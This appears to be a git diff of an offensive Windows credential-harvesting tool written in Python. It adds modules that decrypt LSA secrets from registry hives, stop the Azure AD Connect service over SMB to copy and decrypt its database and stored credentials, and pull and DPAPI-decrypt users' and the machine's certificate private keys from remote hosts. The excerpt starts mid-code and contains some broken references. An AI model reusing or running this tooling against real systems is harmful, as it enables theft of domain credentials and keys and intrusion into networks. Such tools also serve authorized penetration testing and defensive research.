enc_reg_key: + return None + + enc_reg_value = enc_reg_key.ValueList.List[0] + if not enc_reg_value: + return None + + obf_lsa_key = secaddr.read(enc_reg_value.Data.value, enc_reg_value.DataLength.value) + if not obf_lsa_key: + return None + + if not vista: + md5 = hashlib.md5() + md5.update(bootkey) + for i in range(1000): + md5.update(obf_lsa_key[60:76]) + rc4key = md5.digest() + rc4 = RC4(rc4key) + lsa_key = rc4.encrypt(obf_lsa_key[12:60]) + lsa_key = lsa_key[0x10:0x20] + else: + lsa_key = decrypt_aes(obf_lsa_key, bootkey) + lsa_key = lsa_key[68:100] + + return lsa_key + + +def decrypt_secret(secret, key): + """Python implementation of SystemFunction005. + + Decrypts a block of data with DES using given key. + Note that key can be longer than 7 bytes.""" + decrypted_data = b'' + j = 0 # key index + for i in range(0, len(secret), 8): + enc_block = secret[i:i + 8] + block_key = key[j:j + 7] + des_key = str_to_key(block_key) + crypter = des(des_key, ECB) + + try: + decrypted_data += crypter.decrypt(enc_block) + except Exception: + continue + + j += 7 + if len(key[j:j + 7]) < 7: + j = len(key[j:j + 7]) + + (dec_data_len,) = unpack(". + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +from ..newobj import Obj, Pointer +from struct import unpack + +ROOT_INDEX = 0x20 +LH_SIG = unpack("= 6.0: + is_vista_or_higher = True + + # Get LSA Secrets + secrets = get_file_secrets(constant.hives['system'], constant.hives['security'], is_vista_or_higher) + if secrets: + # Clear DPAPI master key + clear = secrets[b'DPAPI_SYSTEM'] + size = struct.unpack_from(" + #energistrement des infos dans la DB + self.db.add_file(file_path=os.path.abspath(localfile), filename=os.path.split(localfile)[1],extension=os.path.splitext(localfile)[-1].replace('.',''),pillaged_from_computer_ip=self.options.target_ip,pillaged_from_username=from_user) + + + def process_lnk(self,localfile): + try: + with open(localfile, 'rb') as indata: + lnk = LnkParse3.lnk_file(indata) + #lnk.print_json() + #self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}LNK file {localfile} gives {lnk.get_json()['link_info']['local_base_path']} {bcolors.ENDC}") + + #check drive letter + if 'local_base_path' in lnk.get_json()['link_info']: + drive_letter=lnk.get_json()['link_info']['local_base_path'][0]+'$' + new_fileops=MyFileOps(self.smb,self.logging,self.options) + new_fileops.do_use(drive_letter) + tmp_pwd = lnk.get_json()['link_info']['local_base_path'][len(f"{drive_letter}:\\")-1:] + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}tmp_pwd is {drive_letter} : {tmp_pwd} for {localfile}{bcolors.ENDC}") + if os.path.splitext(tmp_pwd)[-1].replace('.','') != 'exe':#in ['xls','pdf','doc','docx','txt','bat','kbdx','xml','config']: + new_localfile = new_fileops.get_file(tmp_pwd, allow_access_error=True) + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}downloaded {new_localfile} for {localfile}{bcolors.ENDC}") + return new_localfile + return '' + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ProcessF Lnk for {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + diff --git a/lib/adconnect.py b/lib/adconnect.py new file mode 100644 index 0000000..ddcf1ee --- /dev/null +++ b/lib/adconnect.py @@ -0,0 +1,411 @@ +import codecs +import logging +import os +import time +import sys +import ntpath +from binascii import unhexlify +from impacket import version +from impacket.uuid import string_to_bin, bin_to_string +from impacket.examples import logger +from impacket import smb3structs +from impacket.smbconnection import SMBConnection, SessionError +from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi +from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, OfflineRegistry, RemoteFile +from impacket.dpapi import MasterKeyFile, MasterKey, DPAPI_BLOB, CredentialFile, CREDENTIAL_BLOB +from impacket.winregistry import hexdump +from Cryptodome.Hash import HMAC, SHA1, MD4 +from hashlib import pbkdf2_hmac +import subprocess +import xml.etree.ElementTree as ET +import base64 +import hashlib +import binascii +import codecs +import sys +from Cryptodome import Random +from Cryptodome.Cipher import AES + +def unpad(s): + return s[:-ord(s[len(s)-1:])] + +def deriveKeysFromUserkey(sid, pwdhash): + if len(pwdhash) == 20: + # SHA1 + key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest() + key2 = None + else: + # Assume MD4 + key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest() + # For Protected users + tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000) + tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] + key2 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] + + return key1, key2 + +class RemoteFileRO(RemoteFile): + ''' + RemoteFile class that doesn't remove the file on close + ''' + def __init__(self, smbConnection, fileName, tree='ADMIN$'): + RemoteFile.__init__(self, smbConnection, fileName) + self._RemoteFile__tid = smbConnection.connectTree(tree) + + def close(self): + if self._RemoteFile__fid is not None: + self._RemoteFile__smbConnection.closeFile(self._RemoteFile__tid, self._RemoteFile__fid) + self._RemoteFile__fid = None + +class ADSRemoteOperations(RemoteOperations): + def __init__(self, smbConnection, doKerberos, kdcHost=None, options=None): + RemoteOperations.__init__(self, smbConnection, doKerberos, kdcHost) + self.__smbConnection = smbConnection + self.__serviceName = 'ADSync' + self.__shouldStart = False + self.__options = options + + def gatherAdSyncMdb(self): + # Assume DB was already downloaded + #if self.__options.existing_db: + # return + self.__connectSvcCtl() + try: + self.__checkServiceStatus() + logging.info('Downloading ADSync database files') + with open('ADSync.mdf','wb') as fh: + self.__smbConnection.getFile('C$',r'Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf', fh.write) + with open('ADSync_log.LDF','wb') as fh: + self.__smbConnection.getFile('C$',r'Program Files\Microsoft Azure AD Sync\Data\ADSync_log.ldf', fh.write) + finally: + self.__restore_adsync() + + def gatherCredentialFiles(self, basepath): + items = self.__smbConnection.listPath('C$', r'{0}\AppData\Local\Microsoft\Credentials\\*'.format(basepath)) + outvaults = [] + for item in items: + if item.get_longname() == '.' or item.get_longname() == '..': + continue + outvaults.append(item.get_longname()) + return outvaults + + def findBasePath(self): + basepaths = [ + r'Users\ADSync', + r'Windows\ServiceProfiles\ADSync', + ] + outbasepath = None + for basepath in basepaths: + try: + # Query folder + items = self.__smbConnection.listPath('C$', r'{0}\AppData\*'.format(basepath)) + # If folder exists, break + outbasepath = basepath + break + except SessionError as err: + if 'STATUS_OBJECT_PATH_NOT_FOUND' in str(err): + items = None + # Try a different basepath + continue + if items is None: + logging.error('Could not find the ADSync profile directory') + return + + return outbasepath + + def processCredentialFile(self, file, userkey, basepath): + tsid = None + + logging.info('Querying credential file %s', file) + remoteFileName = RemoteFileRO(self.__smbConnection, r'{1}\AppData\Local\Microsoft\Credentials\{0}'.format(file, basepath), tree="C$") + try: + remoteFileName.open() + data = remoteFileName.read(8000) + cred = CredentialFile(data) + # if logging.getLogger().level == logging.DEBUG: + # cred.dump() + blob = DPAPI_BLOB(cred['Data']) + finally: + remoteFileName.close() + gmk = bin_to_string(blob['GuidMasterKey']) + + items = self.__smbConnection.listPath('C$', r'%s\AppData\Roaming\Microsoft\Protect\*' % basepath) + + for item in items: + if item.get_longname().startswith('S-1-5-80'): + tsid = item.get_longname() + logging.info(r'Found SID %s for NT SERVICE\ADSync Virtual Account', tsid) + + if tsid is None: + logging.error('Could not determine SID for ADSync user - cannot continue searching for masterkeys') + return + + key1, key2 = deriveKeysFromUserkey(tsid, userkey) + remoteFileName = RemoteFileRO(self.__smbConnection, r'{2}\AppData\Roaming\Microsoft\Protect\{0}\{1}'.format(tsid, gmk, basepath), tree="C$") + try: + remoteFileName.open() + data = remoteFileName.read(8000) + mkf = MasterKeyFile(data) + if logging.getLogger().level == logging.DEBUG: + mkf.dump() + data = data[len(mkf):] + # Extract master key + if mkf['MasterKeyLen'] > 0: + mk = MasterKey(data[:mkf['MasterKeyLen']]) + data = data[len(mk):] + decryptedKey = mk.decrypt(key1) + if not decryptedKey: + decryptedKey = mk.decrypt(key2) + if not decryptedKey: + logging.error('Encryption of masterkey failed using SYSTEM UserKey + SID') + return + logging.info('Decrypted ADSync user masterkey using SYSTEM UserKey + SID') + data = CREDENTIAL_BLOB(blob.decrypt(decryptedKey)) + # if logging.getLogger().level == logging.DEBUG: + # data.dump() + # print(data['Target']) + if 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'): + parts = data['Target'].decode('utf-16le')[:-1].split('_') + return { + 'instanceid': parts[3][1:-1].lower(), + 'keyset_id': parts[4], + 'data': data['Unknown3'] + } + else: + logging.info('Found credential containing %s, attempting next', data['Target']) + return + except SessionError as e: + if 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e): + logging.error('Could not find masterkey for file with GUID %s', gmk) + else: + raise + finally: + remoteFileName.close() + + def decryptDpapiBlobSystemkey(self, item, key, entropy): + cryptkey = None + kb = DPAPI_BLOB(item) + mk = bin_to_string(kb['GuidMasterKey']) + logging.info('Decrypting DPAPI data with masterkey %s', mk) + # We use the RO class here since the regular class removes the file on exit + # Deleting DPAPI keys doesn't seem like the best idea, so best not to do this + remoteFileName = RemoteFileRO(self.__smbConnection, 'SYSTEM32\\Microsoft\\Protect\\S-1-5-18\\%s' % mk) + try: + remoteFileName.open() + data = remoteFileName.read(2000) + mkf = MasterKeyFile(data) + if logging.getLogger().level == logging.DEBUG: + mkf.dump() + data = data[len(mkf):] + # Extract master key + if mkf['MasterKeyLen'] > 0: + mk = MasterKey(data[:mkf['MasterKeyLen']]) + data = data[len(mk):] + decryptedKey = mk.decrypt(key) + try: + decryptedkey = kb.decrypt(decryptedKey, entropy=entropy) + cryptkey = decryptedkey + if logging.getLogger().level == logging.DEBUG: + hexdump(decryptedkey) + except Exception as ex: + logging.error('Could not decrypt keyset %s: %s', item, str(ex)) + finally: + remoteFileName.close() + return cryptkey + + def getMdbData(self, codec='utf-8'): + + out = { + 'cryptedrecords': [], + 'xmldata': [] + } + keydata = None + # + if self.__options.from_file: + logging.info('Loading configuration data from %s on filesystem', self.__options.from_file) + infile = codecs.open(self.__options.from_file, 'r', codec) + enumtarget = infile + else: + logging.info('Querying database for configuration data') + dbpath = os.path.join(os.getcwd(), r"ADSync.mdf") + output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0] + enumtarget = output.split('\n') + for line in enumtarget: + try: + ltype, data = line.strip().split(': ') + except ValueError: + continue + ltype = ltype.replace(u'\ufeff',u'') + if ltype.lower() == 'record': + xmldata, crypteddata = data.split(';') + out['cryptedrecords'].append(crypteddata) + out['xmldata'].append(xmldata) + + if ltype.lower() == 'config': + instance, keyset_id, entropy = data.split(';') + out['instance'] = instance + out['keyset_id'] = keyset_id + out['entropy'] = entropy + if self.__options.from_file: + infile.close() + # Check if all values are in the outdata + required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy'] + for option in required: + if not option in out: + logging.error('Missing data from database. Option %s could not be extracted. Check your database or output file.', option) + return None + return out + + + def saveADSYNC(self): + logging.debug('Saving AD Sync data') + return self._RemoteOperations__retrieveHive('SOFTWARE\\Microsoft\\Ad Sync') + + def __restore_adsync(self): + # First of all stop the service if it was originally stopped + if self.__shouldStart is True: + logging.info('Starting service %s' % self.__serviceName) + scmr.hRStartServiceW(self.__scmr, self.__serviceHandle) + + def __connectSvcCtl(self): + rpc = transport.DCERPCTransportFactory(self._RemoteOperations__stringBindingSvcCtl) + rpc.set_smb_connection(self.__smbConnection) + self.__scmr = rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + + def __checkServiceStatus(self): + # Open SC Manager + ans = scmr.hROpenSCManagerW(self.__scmr) + self.__scManagerHandle = ans['lpScHandle'] + # Now let's open the service + ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) + self.__serviceHandle = ans['lpServiceHandle'] + # Let's check its status + ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) + if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: + logging.info('Service %s is in stopped state'% self.__serviceName) + self.__shouldStart = False + self.__stopped = True + elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: + logging.debug('Service %s is running'% self.__serviceName) + self.__shouldStart = True + self.__stopped = False + else: + raise Exception('Unknown service state 0x%x - Aborting' % ans['lpServiceStatus']['dwCurrentState']) + # If service is running, stop it temporarily + if self.__stopped is False: + logging.info('Stopping service %s' % self.__serviceName) + scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) + i = 0 + time.sleep(3) + # Wait till it is stopped + while i < 20: + ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) + if ans['lpServiceStatus']['dwCurrentState'] != scmr.SERVICE_STOPPED: + i+=1 + time.sleep(1) + else: + return + raise Exception('Failed to stop service within 20 seconds - Aborting') + + + +class ADSync(OfflineRegistry): + def __init__(self, samFile, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)): + OfflineRegistry.__init__(self, samFile, isRemote) + self.__samFile = samFile + self.__hashedBootKey = '' + self.__itemsFound = {} + self.__itemsWithKey = {} + self.__perSecretCallback = perSecretCallback + + def dump(self): + logging.info('In dump') + for key in self.enumKey('Shared'): + logging.info('Found keyset ID %s', key) + value = self.getValue(ntpath.join('Shared',key,'default')) + if value is not None: + self.__itemsFound[key] = value[1] + + def process(self, remoteops, key, entropy): + cryptkeys = [] + for index, item in self.__itemsFound.items(): + remoteops.decryptDpapiBlobSystemkey(item, key, entropy) + return cryptkeys + +class DumpSecrets: + def __init__(self, remoteName, username='', password='', domain='', options=None): + self.__remoteName = remoteName + self.__remoteHost = options.target_ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__smbConnection = None + self.__remoteOps = None + self.__SAMHashes = None + self.__NTDSHashes = None + self.__LSASecrets = None + self.__adSyncHive = None + self.__noLMHash = True + self.__isRemote = True + self.__outputFileName = options.outputfile + self.__doKerberos = options.k + self.__canProcessSAMLSA = True + self.__kdcHost = options.dc_ip + self.__options = options + self.dpapiSystem = None + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self): + # Debugging only + # self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost, preferredDialect=smb3structs.SMB2_DIALECT_21) + self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) + + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + @staticmethod + def decrypt(record, keyblob): + # print repr(keyblob) + # print binascii.hexlify(keyblob[-44:]) + key1 = keyblob[-44:] + # print binascii.hexlify(keyblob[-88:-44]) + key2 = keyblob[-88:-44] + + dcrypt = base64.b64decode(record) + # hexdump(dcrypt) + iv = dcrypt[8:24] + # hexdump(iv) + cryptdata = dcrypt[24:] + + cipher = AES.new(key2[12:], AES.MODE_CBC, iv) + return unpad(cipher.decrypt(cryptdata)).decode('utf-16-le') + + # From examples/dpapi.py + def getDPAPI_SYSTEM(self,secretType, secret): + if secret.startswith("dpapi_machinekey:"): + machineKey, userKey = secret.split('\n') + machineKey = machineKey.split(':')[1] + userKey = userKey.split(':')[1] + self.dpapiSystem = {} + self.dpapiSystem['MachineKey'] = unhexlify(machineKey[2:]) + self.dpapiSystem['UserKey'] = unhexlify(userKey[2:]) + logging.info('Found DPAPI machine key: %s', machineKey) + + def fetchMdb(self): + self.__remoteOps.gatherAdSyncMdb() + + def getMdbData(self): + try: + return self.__remoteOps.getMdbData() + except UnicodeDecodeError: + return self.__remoteOps.getMdbData('utf-16-le') \ No newline at end of file diff --git a/lib/certificates.py b/lib/certificates.py new file mode 100644 index 0000000..b17d4c4 --- /dev/null +++ b/lib/certificates.py @@ -0,0 +1,495 @@ +import ntpath,copy +import LnkParse3 +from lib.toolbox import bcolors +from lib.fileops import MyFileOps +from lib.dpapi import * + +'''decryption info comes from From Triage.cs of SharpDPAPI - HarmJ0y <3''' +class certificates(): + def __init__(self,smb,myregops,myfileops,logger,options,db,users): + self.myregops = myregops + self.myfileops = myfileops + self.logging = logger + self.options = options + self.db = db + self.users = users + self.smb = smb + + + def run(self): + self.get_files() + #self.process_files() + #self.decrypt_all() + + def get_files(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Certificates Secrets {bcolors.ENDC}") + blacklist = ['.', '..'] + + user_directories = [("Users\\{username}\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", "*",False), + ("Users\\{username}\\AppData\\Roaming\\Microsoft\\Crypto\\Keys","*",True)]#(Path,mask,cng) + machine_directories = [("ProgramData\\Microsoft\\Crypto\\Keys\\", '*',True), + ("ProgramData\\Microsoft\\Crypto\\SystemKeys\\", '*',True), + ("Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys",'*', True), + #("ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\", '*'), + #("ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\", '*'), + ("Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", '*',False), + ("ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", '*',False)] + + for user in self.users: + self.logging.debug( + f"[{self.options.target_ip}] Looking for {user.username} ") + if user.username == 'MACHINE$': + directories_to_use = machine_directories + else: + directories_to_use = user_directories + + for info in directories_to_use: + my_dir, my_mask,cng = info + tmp_pwd = my_dir.format(username=user.username) + self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} Certificates in {tmp_pwd} with mask {my_mask}") + for mask in my_mask: + my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and not is_directory: + try: + # Downloading file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=False) + self.process_file(localfile,user,longname,cng) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + elif longname not in blacklist and is_directory: + tmp_pwd2 = ntpath.join(tmp_pwd, longname) + my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False) + for infos2 in my_directory2: + longname2, is_directory2 = infos2 + if longname2 not in blacklist and not is_directory2: + try: + # Downloading file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2, longname2), allow_access_error=False) + self.process_file(localfile, user,longname2,cng) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + + def process_file(self,localfile,user,longname,cng): + if user.username == 'MACHINE$': + my_user_type = 'MACHINE' + else: + my_user_type = 'DOMAIN' + try: + try: + self.logging.debug("Opening CERT file %s" % localfile) + fp = open(localfile, 'rb') + data = fp.read() + fp.close() + except Exception as ex: + self.logging.debug("Exception in certificate.py readFile ") + self.logging.debug(ex) + if cng==True: + mycert = CngCertBlob(data) + else:#CAPI + mycert = CapiCertBlob(data) + blob = mycert['Blob'] + + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + myoptions.masterkeys = None # user.masterkeys_file + myoptions.key = None + mydpapi = DPAPI(myoptions, self.logging) + guid = mydpapi.find_Blob_masterkey(raw_data=blob) + self.logging.debug(f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}") + if guid != None: + masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) + if masterkey != None: + if masterkey['status'] == 'decrypted': + mydpapi.options.key = masterkey['key'] + if cng == True: + cred_data = mydpapi.decrypt_blob(entropy=b"xT5rZW5qVVbrvpuA") + else: + cred_data = mydpapi.decrypt_blob() + if cred_data != None: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Certificate {longname}{bcolors.ENDC}") + user.files[longname]['status'] = 'decrypted' + user.files[longname]['data'] = cred_data + self.process_decrypted_cert(user,user.files[longname],cng) # cred_data,user,localfile,my_blob_type) + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + self.db.add_credz(credz_type='XXXXX',credz_username=username.decode('utf-8'),redz_password=ntlm.decode('utf-8'),credz_target='',credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username) + return 1 + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ProcessFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + + def process_decrypted_cert(self,user,user_file,cng): + return 1 + #if cng: + # ConvertRsaBlobToRsaFullBlob(user_file['data']) + ''' + + var certificate = new ExportedCertificate(); + + if ((privKeyBytes != null) && (privKeyBytes.Length > 0)) + { + Tuple decryptedRSATuple = null; + + if (cng) + { + decryptedRSATuple = ParseDecCngCertBlob(privKeyBytes); + } + else + { + decryptedRSATuple = ParseDecCapiCertBlob(privKeyBytes); + } + + var PrivatePKCS1 = decryptedRSATuple.First; + var PrivateXML = decryptedRSATuple.Second; + + if (alwaysShow) + { + Console.WriteLine(" File : {0}", fileName); + Console.WriteLine(statusMessage); + certificate.PrivateKey = PrivatePKCS1; + } + + X509Certificate2Collection certCollection; + try + { + foreach (var storeLocation in new Enum[] { StoreLocation.CurrentUser, StoreLocation.LocalMachine }) + { + X509Store store = new X509Store((StoreLocation)storeLocation); + store.Open(OpenFlags.ReadOnly | OpenFlags.OpenExistingOnly); + certCollection = store.Certificates; + store.Close(); + + foreach (var cert in certCollection) + { + var PublicXML = cert.PublicKey.Key.ToXmlString(false).Replace("", ""); + + //There are cases where systems have a lot of "orphaned" private keys. We are only grabbing private keys that have a matching modulus with a cert in the store + //https://forums.iis.net/t/1224708.aspx?C+ProgramData+Microsoft+Crypto+RSA+MachineKeys+is+filling+my+disk+space + //https://superuser.com/questions/538257/why-are-there-so-many-files-in-c-programdata-microsoft-crypto-rsa-machinekeys + if (PrivateXML.Contains(PublicXML)) + { + // only display all of the status messages if we have a decrypted private key that corresponds to a cert found in a store location + if (!alwaysShow) + { + Console.WriteLine(" File : {0}", fileName); + Console.WriteLine(statusMessage); + } + + certificate.Issuer = cert.Issuer; + certificate.Subject = cert.Subject; + certificate.ValidDate = cert.NotBefore.ToString(); + certificate.ExpiryDate = cert.NotAfter.ToString(); + certificate.Thumbprint = cert.Thumbprint; + + foreach (var ext in cert.Extensions) + { + if (ext.Oid.FriendlyName == "Enhanced Key Usage") + { + var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages; + + if (extUsages.Count > 0) + { + foreach (var extUsage in extUsages) + { + var eku = new Tuple(extUsage.FriendlyName, extUsage.Value); + certificate.EKUs.Add(eku); + } + } + } + } + + string b64cert = Convert.ToBase64String(cert.Export(X509ContentType.Cert)); + int BufferSize = 64; + int Index = 0; + var sb = new StringBuilder(); + sb.AppendLine("-----BEGIN CERTIFICATE-----"); + for (var i = 0; i < b64cert.Length; i += 64) + { + sb.AppendLine(b64cert.Substring(i, Math.Min(64, b64cert.Length - i))); + Index += BufferSize; + } + sb.AppendLine("-----END CERTIFICATE-----"); + + certificate.PrivateKey = PrivatePKCS1; + certificate.PublicCertificate = sb.ToString(); + + //// Commented code for pfx generation due to MS not giving + ////a dispose method < .NET4.6 https://snede.net/the-most-dangerous-constructor-in-net/ + //// X509Certificate2 certificate = new X509Certificate2(cert.RawData); + //// certificate.PrivateKey = ; + //// string filename = string.Format("{0}.pfx", cert.Thumbprint); + //// File.WriteAllBytes(filename, certificate.Export(X509ContentType.Pkcs12, (string)null)); + //// certificate.Reset(); + //// certificate = null; + + //// 2021-01-04: If we want to do it, it would be: + //X509Certificate2 x509 = new X509Certificate2(cert.RawData); + //Convert.ToBase64String(x509.Export(X509ContentType.Pkcs12, (string)null)); + + store.Close(); + store = null; + + break; + } + } + certCollection.Clear(); + + + if (store != null) + { + store.Close(); + store = null; + } + } + } + catch (Exception ex) + { + Console.WriteLine("\r\n[X] An exception occurred {0}", ex.Message); + } + } + + return certificate; + }''' + + + def get_masterkey(self, user, guid, type): + guid = guid.lower() + if guid not in user.masterkeys_file: + self.logging.debug( + f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") + return -1 + else: + self.logging.debug( + f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found") + if user.masterkeys_file[guid]['status'] == 'decrypted': + self.logging.debug( + f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") + return user.masterkeys_file[guid] + elif user.masterkeys_file[guid]['status'] == 'encrypted': + return self.decrypt_masterkey(user, guid, type) + + def decrypt_masterkey(self, user, guid, type=''): + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type})") + guid = guid.lower() + if guid not in user.masterkeys_file: + self.logging.debug( + f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") + return -1 + localfile = user.masterkeys_file[guid]['path'] + + if user.masterkeys_file[guid]['status'] == 'decrypted': + self.logging.debug( + f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") + return user.masterkeys_file[guid] + else: + if user.type_validated == True: + type = user.type + + if type == 'MACHINE': + # Try de decrypt masterkey file + for key in self.machine_key: + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}") + try: + myoptions = copy.deepcopy(self.options) + myoptions.sid = None # user.sid + myoptions.username = user.username + myoptions.pvk = None + myoptions.file = localfile # Masterkeyfile to parse + myoptions.key = key.decode("utf-8") + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != None and decrypted_masterkey != -1: + # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" ) + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'MACHINE' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with="MACHINE-KEY", decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") + self.logging.debug(ex) + else: + if user.type_validated == False: + self.decrypt_masterkey(user, guid, type='MACHINE-USER') + + elif type == 'MACHINE-USER': + # Try de decrypt masterkey file + for key in self.user_key: + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}") # and SID %s , user.sid )) + try: + # key1, key2 = deriveKeysFromUserkey(tsid, userkey) + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + if user.is_adconnect is True: + myoptions.key = key.decode("utf-8") + myoptions.sid = user.sid + else: + myoptions.key = key.decode("utf-8") # None + myoptions.sid = None # user.sid + + myoptions.username = user.username + myoptions.pvk = None + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != -1 and decrypted_masterkey != None: + # self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = 